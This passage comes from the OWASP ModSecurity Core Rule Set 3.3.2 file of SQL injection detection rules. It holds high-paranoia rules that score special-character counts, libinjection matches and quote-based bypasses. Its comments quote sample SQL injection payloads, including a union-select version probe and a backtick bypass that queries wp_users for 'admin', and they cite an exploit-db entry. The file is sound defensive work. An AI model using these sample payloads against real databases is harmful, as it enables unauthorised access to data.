1373 | tag:'application-multi',\ 1374 | tag:'language-multi',\ 1375 | tag:'platform-multi',\ 1376 | tag:'attack-sqli',\ 1377 | tag:'OWASP_CRS',\ 1378 | tag:'capec/1000/152/248/66',\ 1379 | tag:'PCI/6.5.2',\ 1380 | tag:'paranoia-level/3',\ 1381 | ver:'OWASP_CRS/3.3.2',\ 1382 | severity:'WARNING',\ 1383 | setvar:'tx.anomaly_score_pl3=+%{tx.warning_anomaly_score}',\ 1384 | setvar:'tx.sql_injection_score=+%{tx.warning_anomaly_score}'" 1385 | 1386 | 1387 | # 1388 | # This is a stricter sibling of rule 942430. 1389 | # 1390 | # This rule is also triggered by the following exploit(s): 1391 | # [ SAP CRM Java vulnerability CVE-2018-2380 - Exploit tested: https://www.exploit-db.com/exploits/44292 ] 1392 | # 1393 | 1394 | SecRule ARGS_NAMES|ARGS|XML:/* "@rx ((?:[~!@#\$%\^&\*\(\)\-\+=\{\}\[\]\|:;\"'´’‘`<>][^~!@#\$%\^&\*\(\)\-\+=\{\}\[\]\|:;\"'´’‘`<>]*?){6})" \ 1395 | "id:942431,\ 1396 | phase:2,\ 1397 | block,\ 1398 | capture,\ 1399 | t:none,t:urlDecodeUni,\ 1400 | msg:'Restricted SQL Character Anomaly Detection (args): # of special characters exceeded (6)',\ 1401 | logdata:'Matched Data: %{TX.1} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 1402 | tag:'application-multi',\ 1403 | tag:'language-multi',\ 1404 | tag:'platform-multi',\ 1405 | tag:'attack-sqli',\ 1406 | tag:'OWASP_CRS',\ 1407 | tag:'capec/1000/152/248/66',\ 1408 | tag:'PCI/6.5.2',\ 1409 | tag:'paranoia-level/3',\ 1410 | ver:'OWASP_CRS/3.3.2',\ 1411 | severity:'WARNING',\ 1412 | setvar:'tx.anomaly_score_pl3=+%{tx.warning_anomaly_score}',\ 1413 | setvar:'tx.sql_injection_score=+%{tx.warning_anomaly_score}'" 1414 | 1415 | 1416 | # 1417 | # [ Repetitive Non-Word Characters ] 1418 | # 1419 | # This rule attempts to identify when multiple (4 or more) non-word characters 1420 | # are repeated in sequence. 1421 | # 1422 | # The pattern may occur in some normal texts, e.g. "foo...." will match. 1423 | # 1424 | SecRule ARGS "@rx \W{4}" \ 1425 | "id:942460,\ 1426 | phase:2,\ 1427 | block,\ 1428 | capture,\ 1429 | t:none,t:urlDecodeUni,\ 1430 | msg:'Meta-Character Anomaly Detection Alert - Repetitive Non-Word Characters',\ 1431 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 1432 | tag:'application-multi',\ 1433 | tag:'language-multi',\ 1434 | tag:'platform-multi',\ 1435 | tag:'attack-sqli',\ 1436 | tag:'OWASP_CRS',\ 1437 | tag:'capec/1000/152/248/66',\ 1438 | tag:'PCI/6.5.2',\ 1439 | tag:'paranoia-level/3',\ 1440 | ver:'OWASP_CRS/3.3.2',\ 1441 | severity:'WARNING',\ 1442 | setvar:'tx.sql_injection_score=+%{tx.warning_anomaly_score}',\ 1443 | setvar:'tx.anomaly_score_pl3=+%{tx.warning_anomaly_score}'" 1444 | 1445 | 1446 | # 1447 | # This is a sibling of rule 942100 that adds checking of the last path segment. 1448 | # 1449 | # libinjection is more likely to fail when passing the full path. E.g. the following 1450 | # string produces a match: 1451 | # 999999.1 union select unhex(hex(version())) -- and 1=1 1452 | # while this doesn't: 1453 | # /999999.1 union select unhex(hex(version())) -- and 1=1\. 1454 | # Therefore, we capture the last segment of the path and only match that with 1455 | # libinjection. Incidentally, the last path segment is also the most likely 1456 | # to be used for injection, other segments will most likely not be affected. 1457 | # 1458 | SecRule REQUEST_BASENAME "@detectSQLi" \ 1459 | "id:942101,\ 1460 | phase:2,\ 1461 | block,\ 1462 | capture,\ 1463 | t:none,t:utf8toUnicode,t:urlDecodeUni,t:removeNulls,\ 1464 | msg:'SQL Injection Attack Detected via libinjection',\ 1465 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 1466 | tag:'application-multi',\ 1467 | tag:'language-multi',\ 1468 | tag:'platform-multi',\ 1469 | tag:'attack-sqli',\ 1470 | tag:'OWASP_CRS',\ 1471 | tag:'capec/1000/152/248/66',\ 1472 | tag:'PCI/6.5.2',\ 1473 | tag:'paranoia-level/3',\ 1474 | ver:'OWASP_CRS/3.3.2',\ 1475 | severity:'CRITICAL',\ 1476 | setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',\ 1477 | setvar:'tx.anomaly_score_pl3=+%{tx.critical_anomaly_score}'" 1478 | 1479 | 1480 | # 1481 | # -=[ Detect SQLi bypass: quotes ]=- 1482 | # 1483 | # Quotes and backticks can be used to bypass SQLi detection. 1484 | # 1485 | # Example: 1486 | # GET http://localhost/test.php?id=9999%20or+{`if`(2=(select+2+from+wp_users+where+user_login='admin'))} 1487 | # 1488 | # The minimum text between the ticks or backticks must be 2 (if, for example) and a maximum of 29. 1489 | # 29 is a compromise: The lower this number (29), the lower the probability of FP and the higher the probability of false negatives. 1490 | # In tests we got a minimum number of FP with {2,29}. 1491 | # 1492 | # Base64 encoding detection: 1493 | # (?:[A-Za-z0-9+/]{4})+ #match any number of 4-letter blocks of the base64 char set 1494 | # (?:[A-Za-z0-9+/]{2}== #match 2-letter block of the base64 char set followed by "==", together forming a 4-letter block 1495 | # | # or 1496 | # [A-Za-z0-9+/]{3}= #match 3-letter block of the base64 char set followed by "=", together forming a 4-letter block 1497 | # )? 1498 | # 1499 | # The minimal string that triggers this regexp is: 'if' 1500 | # 1501 | # The rule 942511 is related to 942110 which catches a single ' or ` 1502 | # 1503 | # The rule 942510 is similar to this rule, but triggers on backticks 1504 | # (`if`). That rule runs in paranoia level 2 or higher since the risk of 1505 | # false positives in natural text is still present but lower than this 1506 | # rule. 1507 | # 1508 | SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?:'((?:[\w\s=_\-+{}()<@]){2,29}|(?:[A-Za-z0-9+\/]{4})+(?:[A-Za-z0-9+\/]{2}==|[A-Za-z0-9+\/]{3}=)?)')" \ 1509 | "id:942511,\ 1510 | phase:2,\ 1511 | block,\ 1512 | capture,\ 1513 | t:none,t:urlDecodeUni,\ 1514 | msg:'SQLi bypass attempt by ticks detected',\ 1515 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 1516 | tag:'application-multi',\ 1517 | tag:'language-multi',\ 1518 | tag:'platform-multi',\ 1519 | tag:'attack-sqli',\ 1520 | tag:'OWASP_CRS',\ 1521 | tag:'capec/1000/152/248/66',\ 1522 | tag:'PCI/6.5.2',\ 1523 | tag:'paranoia-level/3',\ 1524 | ver:'OWASP_CRS/3.3.2',\ 1525 | severity:'CRITICAL',\ 1526 | setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',\ 1527 | setvar:'tx.anomaly_score_pl3=+%{tx.critical_anomaly_score}'" 1528 | 1529 | SecRule TX:EXECUTING_PARANOIA_LEVEL "@lt 4" "id:942017,phase:1,pass,nolog,skipAfter:END-REQUEST-942-APPLICATION-ATTACK-SQLI" 1530 | SecRule TX:EXECUTING_PARANOIA_LEVEL "@lt 4" "id:942018,phase:2,pass,nolog,skipAfter:END-REQUEST-942-APPLICATION-ATTACK-SQLI" 1531 | # 1532 | # -= Paranoia Level 4 =- (apply only when tx.executing_paranoia_level is sufficiently high: 4 or higher) 1533 | # 1534 | 1535 | # 1536 | # [ SQL Injection Character Anomaly Usage ] 1537 | # 1538 | # This is a stricter sibling of rule 942420. 1539 | # 1540 | 1541 | #SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|!REQUEST_COOKIES:/_pk_ref/|REQUEST_COOKIES_NAMES "@rx ((?:[~!@#\$%\^&\*\(\)\-\+=\{\}\[\]\|:;\"'´’‘`<>][^~!@#\$%\^&\*\(\)\-\+=\{\}\[\]\|:;\"'´’‘`<>]*?){3})" \ 1542 | # "id:942421,\ 1543 | # phase:2,\ 1544 | # block,\ 1545 | # capture,\ 1546 | # t:none,t:urlDecodeUni,\ 1547 | # msg:'Restricted SQL Character Anomaly Detection (cookies): # of special characters exceeded (3)',\ 1548 | # logdata:'Matched Data: %{TX.1} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 1549 | # tag:'application-multi',\ 1550 | # tag:'language-multi',\ 1551 | # tag:'platform-multi',\ 1552 | # tag:'attack-sqli',\ 1553 | # tag:'OWASP_CRS',\ 1554 | # tag:'capec/1000/152/248/66',\ 1555 | # tag:'PCI/6.5.2',\ 1556 | # tag:'paranoia-level/4',\ 1557 | # ver:'OWASP_CRS/3.3.2',\ 1558 | # severity:'WARNING',\ 1559 | # setvar:'tx.anomaly_score_pl4=+%{tx.warning_anomaly_score}',\ 1560 | # setvar:'tx.sql_injection_score=+%{tx.warning_anomaly_score}'" 1561 | 1562 | 1563 | # 1564 | # This is a stricter sibling of rule 942430. 1565 | # 1566 | # This rule is also triggered by the following exploit(s): 1567 | # [ SAP CRM Java vulnerability CVE-2018-2380 - Exploit tested: https://www.exploit-db.com/exploits/44292 ] 1568 | # 1569 | 1570 | #SecRule ARGS_NAMES|ARGS|XML:/* "@rx ((?:[~!@#\$%\^&\*\(\)\-\+=\{\}\[\]\|:;\"'´’‘`<>][^~!@#\$%\^&\*\(\)\-\+=\{\}\[\]\|:;\"'´’‘`<>]*?){2})" \ 1571 | # "id:942432,\ 1572 | # phase:2,\ 1573 | # block,\ 1574 | # capture,\ 1575 | # t:none,t:urlDecodeUni,\ 1576 | # msg:'Restricted SQL Character Anomaly Detection (args): # of special characters exceeded (2)',\ 1577 | # logdata:'Matched Data: %{TX.1} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 1578 | # tag:'application-multi',\ 1579 | # tag:'language-multi',\ 1580 | # tag:'platform-multi',\ 1581 | # tag:'attack-sqli',\ 1582 | # tag:'OWASP_CRS',\ 1583 | # tag:'capec/1000/152/248/66',\ 1584 | # tag:'PCI/6.5.2',\ 1585 | # tag:'paranoia-level/4',\ 1586 | # ver:'OWASP_CRS/3.3.2',\ 1587 | # severity:'WARNING',\ 1588 | # setvar:'tx.anomaly_score_pl4=+%{tx.warning_anomaly_score}',\ 1589 | # setvar:'tx.sql_injection_score=+%{tx.warning_anomaly_score}'" 1590 | 1591 | 1592 | # 1593 | # -= Paranoia Levels Finished =- 1594 | # 1595 | SecMarker "END-REQUEST-942-APPLICATION-ATTACK-SQLI" 1596 | --------------------------------------------------------------------------------